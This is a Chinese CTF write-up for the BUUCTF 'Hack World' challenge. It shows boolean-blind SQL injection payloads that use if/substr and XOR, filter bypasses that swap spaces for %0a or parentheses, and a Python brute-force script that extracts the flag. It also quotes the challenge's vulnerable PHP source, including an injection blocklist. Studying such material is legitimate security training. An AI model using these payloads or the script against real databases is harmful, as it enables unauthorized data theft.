布尔盲注payload补充

布尔盲注payload补充

前言

  • 题目环境:buuctf中[CISCN2019 华北赛区 Day2 Web1]Hack World1
  • 知识点:异或,布尔盲注
  • 参考wp1

做题

查询为假时 返回Error Occured When Fetch Result.
语法错误时 返回bool(false)
判断注入类型
and被过滤了,or也被过滤了
测试时发现,只要and 和or前面有任何字符都会被报过滤
但是单独放and和or却是返回报错的信息
当是猜的是正则
看了源码才发现,原来是stripos过滤,单独放时返回为0,前面有任意字符时,返回非0
这里如果是字符型注入,那么我放入aaaaa,应该是返回查询为假的信息
但是返回的却是为错的信息,所以是数字型注入

继续测试,我们会发现过滤了" ",并且使用/**/,/!/无法绕过,但是%09,%0a,%0b,%0c,%0d或者直接tab可以绕过
union不能用,导致无法联合查询,and 和 or 被过滤导致类似1 and substr(database(),1,1)='t' 的payload无法使用
目前我已知的联合查询,报错,布尔都不能用,堆叠;也被过滤了
看了wp才发现可以这样构造
payload1:if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2),()绕过空格
payload2:if(ascii(substr((select%0aflag%0afrom(flag)),1,1))=ascii('f'),1,2),%0a之类的绕过空格
还有的就是利用^
相同出0,不同出1
payload3:1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))^1

但是写脚本时,用%0a,%09之类的会跑不出,原因我也不知道。。

脚本:

import requests
import sys
url='http://68016530-3ba5-4a0d-8acd-994e33db0016.node3.buuoj.cn/index.php'
sql="if((substr((select(flag)from(flag)),{0},1))='{1}',1,2)"
flag=''
for i in range(1,50):
	print('guess',str(i))
	for ch in range(32,129):
		if ch==128:
			sys.exit()
		sqli=sql.format(i,chr(ch))
		data={"id":sqli}
		response=requests.post(url,data=data).text
		if "Hello, glzjin wants a girlfriend." in response:
			flag+=chr(ch)
			print(flag)
			break

这里因为buuctf有防扫机制,导致flag爆不出,也没找到脚本。。就这样吧

源码

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}
原文地址:https://www.cnblogs.com/NineOne/p/14044582.html